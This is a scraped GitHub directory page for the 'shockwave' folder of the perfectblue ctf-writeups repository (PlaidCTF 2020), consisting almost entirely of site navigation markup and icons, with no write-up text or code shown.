1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> perfectblue </span> <span>/</span> ctf-writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>50</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>556</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>1</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/perfectblue/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":133306580,"originating_url":"https://github.com/perfectblue/ctf-writeups/tree/master/2020/plaidctf-2020/shockwave","user_id":null}}" data-hydro-click-hmac="89a44b659ca20ef7798d8a26c4549bd479806b0a957bd0f7825777f2384ef4d7"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/perfectblue/ctf-writeups/refs" cache-key="v0:1674254295.816032" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cGVyZmVjdGJsdWUvY3RmLXdyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/perfectblue/ctf-writeups/refs" cache-key="v0:1674254295.816032" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cGVyZmVjdGJsdWUvY3RmLXdyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2020</span></span><span>/</span><span><span>plaidctf-2020</span></span><span>/</span>shockwave<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>2020</span></span><span>/</span><span><span>plaidctf-2020</span></span><span>/</span>shockwave<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/perfectblue/ctf-writeups/tree-commit/3f2a8a2c2598d700f33cb3f39ceb515e2ba46312/2020/plaidctf-2020/shockwave" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> 